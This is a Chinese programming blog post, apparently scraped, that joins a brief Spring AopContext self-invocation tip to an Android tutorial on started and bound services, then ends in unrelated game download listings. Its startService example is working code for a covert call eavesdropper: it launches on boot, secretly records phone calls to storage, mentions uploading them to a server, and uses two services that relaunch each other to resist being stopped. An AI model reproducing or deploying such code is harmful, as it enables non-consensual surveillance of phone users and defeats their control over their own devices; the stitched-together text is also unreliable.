本篇文章小编给大家分享一下同一个service调用service本身代码方法,文章代码介绍的很详细,小编觉得挺不错的,现在分享给大家供大家参考,有需要的小伙伴们可以来看看。
同一个service调用service本身
如果同一个service调用service本身的方法,出现了事务不能控制。
解决方案
1.在spring配置文件中配置
2.在service中用 AopContext.currentProxy() 方法调用
例如调用myService的mySave方法:
((myService) AopContext.currentProxy()).mySave(myPojo);
service的两种调用方法
一、startService开启服务
生命周期如下:
onCreate()–> onStartCommand() —> onDestory();
如果服务已经开启,不会重复的执行onCreate(), 而是会调用onStartCommand()。服务停止的时候调用onDestory()。服务只会被停止一次。
下面是一个电话窃听器的实例:
在Manifest文件中配置必要的权限和组件。设置一个监听开机的广播接收者。
BootReceiver.java
监听开机事件。
public class BootReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { Intent i = new Intent(context,SystemService.class); context.startService(i); } }
SystemService.java
两个Service类中的一个。两个类采用循环调用机制,当其中一个Service被destroy时,系统调用另一个Service。这样起到了防止用户关闭的流氓效果。
public class SystemService extends Service { // 电话管理器 private TelephonyManager tm; // 监听器对象 private MyListener listener; //声明录音机 private MediaRecorder mediaRecorder; @Override public IBinder onBind(Intent intent) { return null; } // 服务创建的时候调用的方法 @Override public void onCreate() { // 后台监听电话的呼叫状态。 // 得到电话管理器 tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE); listener = new MyListener(); tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE); super.onCreate(); } private class MyListener extends PhoneStateListener { // 当电话的呼叫状态发生变化的时候调用的方法 @Override public void onCallStateChanged(int state, String incomingNumber) { super.onCallStateChanged(state, incomingNumber); try { switch (state) { case TelephonyManager.CALL_STATE_IDLE://空闲状态。 if(mediaRecorder!=null){ //8.停止捕获 mediaRecorder.stop(); //9.释放资源 mediaRecorder.release(); mediaRecorder = null; System.out.println("录制完毕,上传文件到服务器。"); } break; case TelephonyManager.CALL_STATE_RINGING://零响状态。 break; case TelephonyManager.CALL_STATE_OFFHOOK://通话状态 //开始录音 //1.实例化一个录音机 mediaRecorder = new MediaRecorder(); //2.指定录音机的声音源 mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC); //3.设置录制的文件输出的格式 mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT); //4.指定录音文件的名称 File file = new File(Environment.getExternalStorageDirectory(),System.currentTimeMillis()+".3gp"); mediaRecorder.setOutputFile(file.getAbsolutePath()); //5.设置音频的编码 mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT); //6.准备开始录音 mediaRecorder.prepare(); //7.开始录音 mediaRecorder.start(); break; } } catch (Exception e) { e.printStackTrace(); } } } // 服务销毁的时候调用的方法 @Override public void onDestroy() { super.onDestroy(); // 取消电话的监听 System.out.println("ondestory"); Intent i = new Intent(this,SystemService2.class); startService(i); tm.listen(listener, PhoneStateListener.LISTEN_NONE); listener = null; } }
MainActivity.java
控制Service的开启和关闭。
public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); } public void start(View view){ //开启服务。 Intent intent = new Intent(this,SystemService.class); startService(intent); } public void stop(View view){ //停止服务。 Intent intent = new Intent(this,SystemService.class); stopService(intent); } }
二、bindService绑定服务
用绑定方式开启的Service,其生命周期为:onCreate() —>onBind();—>onunbind()–>onDestory(); 没有onStartCommand。
步骤:
1. 服务要暴露方法,必须在Service中定义一个内部类——中间人MiddlePerson,实现定义好的接口中的方法(callMethodInService,用于调用Service中的某方法)。
2. 实现服务成功绑定的代码(onBind方法),返回一个中间人new MiddlePerson()。
3. 在Activity中的bind()方法中采用bindService方法开启服务。
Intent intent = new Intent(this, MyService.class); conn = new MyConn(); bindService(intent, conn, BIND_AUTO_CREATE);
4. 当服务被连接或失去连接时,分别实现ServiceConnection接口中的onServiceConnected()和onServiceDisconnected()方法。
5. 最后就可以通过中间人调用服务里面的方法了。
mp.callMethodInService(55);
MainActivity.java
public class MyService extends Service { //2.实现服务成功绑定的代码 ,返回一个中间人。 @Override public IBinder onBind(Intent arg0) { System.out.println("服务被成功绑定了。。。。"); return new MiddlePerson(); } @Override public boolean onUnbind(Intent intent) { System.out.println("onunbind"); return super.onUnbind(intent); } @Override public void onCreate() { System.out.println("oncreate"); super.onCreate(); } @Override public int onStartCommand(Intent intent, int flags, int startId) { System.out.println("onstartcommand"); return super.onStartCommand(intent, flags, startId); } @Override public void onDestroy() { System.out.println("ondestory"); super.onDestroy(); } /** * 这是服务里面的一个方法 */ public void methodInService(){ Toast.makeText(this, "哈哈,服务给你办好了暂住证。", 0).show(); } //1.第一步服务要暴露方法 必须要有一个中间人 private class MiddlePerson extends Binder implements IMiddlePerson{ /** * 代办暂住证 * @param money 给钱 50块钱以上才给办。 */ public void callMethodInService(int money){ if(money>=50){ methodInService(); }else{ Toast.makeText(getApplicationContext(), "多准备点钱。", 0).show(); } } /** * 陪领导打麻将 */ public void playMajiang(){ System.out.println("陪领导打麻将。"); } } }
三、两种方法的区别
start方式开启服务,一旦服务开启,就和调用者(Activity)没有任何关系了。开启者退出后,如果开启者挂掉,服务还在后台长期的运行。而且开启者没有办法去调用服务里面的方法。
bind方式开启服务,一旦调用者挂掉,服务也会跟着挂掉。不求同时生,但求同时死。而且开启者可以调用服务里面的方法。
忍者必须死34399账号登录版 最新版v1.0.138v2.0.72
下载勇者秘境oppo版 安卓版v1.0.5
下载忍者必须死3一加版 最新版v1.0.138v2.0.72
下载绝世仙王官方正版 最新安卓版v1.0.49
下载Goat Simulator 3手机版 安卓版v1.0.8.2
Goat Simulator 3手机版是一个非常有趣的模拟游
Goat Simulator 3国际服 安卓版v1.0.8.2
Goat Simulator 3国际版是一个非常有趣的山羊模
烟花燃放模拟器中文版 2025最新版v1.0
烟花燃放模拟器是款仿真的烟花绽放模拟器类型单机小游戏,全方位
我的世界动漫世界 手机版v友y整合
我的世界动漫世界模组整合包是一款加入了动漫元素的素材整合包,
我的世界贝爷生存整合包 最新版v隔壁老王
我的世界MITE贝爷生存整合包是一款根据原版MC制作的魔改整